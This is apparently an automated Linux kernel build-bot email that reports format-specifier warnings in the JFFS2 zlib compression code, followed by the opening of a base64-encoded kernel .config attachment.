    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:99:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "calling deflate with avail_in %ld, avail_out %ld\n",
      ^~~~~~~~~
>> <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 3 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 4 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 5 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 6 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:102:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "deflate returned with avail_in %ld, avail_out %ld, total_in %ld, total_out %ld\n",
      ^~~~~~~~~
>> <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 3 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:124:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "zlib compressed %ld bytes into %ld; failing\n",
      ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 4 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:124:3: note: in expansion of macro 'jffs2_dbg'
      jffs2_dbg(1, "zlib compressed %ld bytes into %ld; failing\n",
      ^~~~~~~~~
>> <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 3 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:130:2: note: in expansion of macro 'jffs2_dbg'
     jffs2_dbg(1, "zlib compressed %ld bytes into %ld\n",
     ^~~~~~~~~
   <command-line>:0:16: warning: format '%ld' expects argument of type 'long int', but argument 4 has type 'uLong {aka unsigned int}' [-Wformat=]
   fs/jffs2/compr_zlib.c:17:21: note: in expansion of macro 'KBUILD_MODNAME'
    #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
                        ^~~~~~~~~~~~~~
   include/linux/dynamic_debug.h:126:35: note: in expansion of macro 'pr_fmt'
      __dynamic_pr_debug(&descriptor, pr_fmt(fmt), \
                                      ^~~~~~
   include/linux/printk.h:333:2: note: in expansion of macro 'dynamic_pr_debug'
     dynamic_pr_debug(fmt, ##__VA_ARGS__)
     ^~~~~~~~~~~~~~~~
   fs/jffs2/debug.h:69:3: note: in expansion of macro 'pr_debug'
      pr_debug(fmt, ##__VA_ARGS__); \
      ^~~~~~~~
   fs/jffs2/compr_zlib.c:130:2: note: in expansion of macro 'jffs2_dbg'
     jffs2_dbg(1, "zlib compressed %ld bytes into %ld\n",
     ^~~~~~~~~

vim +4 include/linux/kern_levels.h

314ba352 Joe Perches 2012-07-30  3  
04d2c8c8 Joe Perches 2012-07-30 @4  #define KERN_SOH	"\001"		/* ASCII Start Of Header */
04d2c8c8 Joe Perches 2012-07-30  5  #define KERN_SOH_ASCII	'\001'
04d2c8c8 Joe Perches 2012-07-30  6  

:::::: The code at line 4 was first introduced by commit
:::::: 04d2c8c83d0e3ac5f78aeede51babb3236200112 printk: convert the format for KERN_<LEVEL> to a 2 byte pattern

:::::: TO: Joe Perches <joe@perches.com>
:::::: CC: Linus Torvalds <torvalds@linux-foundation.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--liOOAslEiF7prFVr
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICPI5l1kAAy5jb25maWcAlFxbc+M2sn7Pr1BNzsNuVS6+zCiTc8oPIAhKWJMEhwAle15Y
Ho8yccVjuSxNdvPvTzdIio0L6WwqlZjf18S10ehugPr+u+8X7Ntx//Xu+HB/9/j41+LL7mn3
cnfcfV789vC4+79FqhalMguRSvMTCOcPT9/+8/Pz3cvD4X7x9qfzy5/Ofny5f7e43r087R4X
fP/028OXb1DAw/7pu++/46rM5KqtWC01v/preOZV0ybwf1GmkpUjXhTN+KAN49ftqlZb3VQj
XG+1KNqVKEUteasrWeaKXwP//aKXYDVft2umW5mr1UXbXF4sHg6Lp/1xcdgdp8WWb6lYLzTU
kzSrsQkDuN4KuVqbkOAsl0nNjGhTkbPbUcDIQrS52ra10F5PTc24aKGrlapJkaUQaZsWrC1Y
hYJGeJxeWToX5cqsR65aGZbkUJnYiFxfXQx4KrL+r1xqc/Xm58eHTz9/3X/+9rg7/Pw/Tcmg
gbXIBdPi55/u7XS+OU2bKrWpG25UTVov6w/tVtXXI5I0Mk9tV8VN1wrd9Qk04vvFymrYI47y
t+dRR2QpDSjEBuYF21ZIc3V5ajWvldZQf1HJXFy9IS2ySGuEJmMGCsHyjai1VCURXrONaK9F
XYq8XX2URKcokwBzEafyjwWLMzcfp95QU8TbkXDbdFJQ2qCoBpNmzfE3H+ffVvN0bFmAFrEm
N+1aaYMqc/XmH0/7p90/T2Ott4yMr77VG1nxAMD/c5MTrVVa3rTFh0Y0Io4Gr3SqUYhC1bct
M7CUyCrI1qxMc1JUowUszfGZNWDYvCmyhsESWBfLc088jrZbZmjVHWhqIQbFh4WyOHz7dPjr
cNx9HRV/MBq4jqpaJSK0J0jxNdVYRFJVMFmG0oWWyMeEYeKilsxKIJXpkORoYMGMlEYPXTEP
X3cvh1hvjASjrUqh14paMdWuP+JqLVRJVRzACupQqeQRLeveks4EWoxMGBhgNKbWstan9sEG
87O5O/yxOEJDF3dPnxeH493xsLi7v99/ezo+PH3xWow7EuNcNaWRJRmgRKc4KVyAjgFvppl2
c0nsPNPXaKy1C3XbgVeQJW4imFRuk2zPat4sdGTYQc9a4Mg+yRswvzC6pFjtSNh3PAjbHZYD
XcnzcfoI021BYsUTu504XMZK1VArPoKwLbHs6nzpMtr402urUDzB+fH2F3AgygtiUuR198fV
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
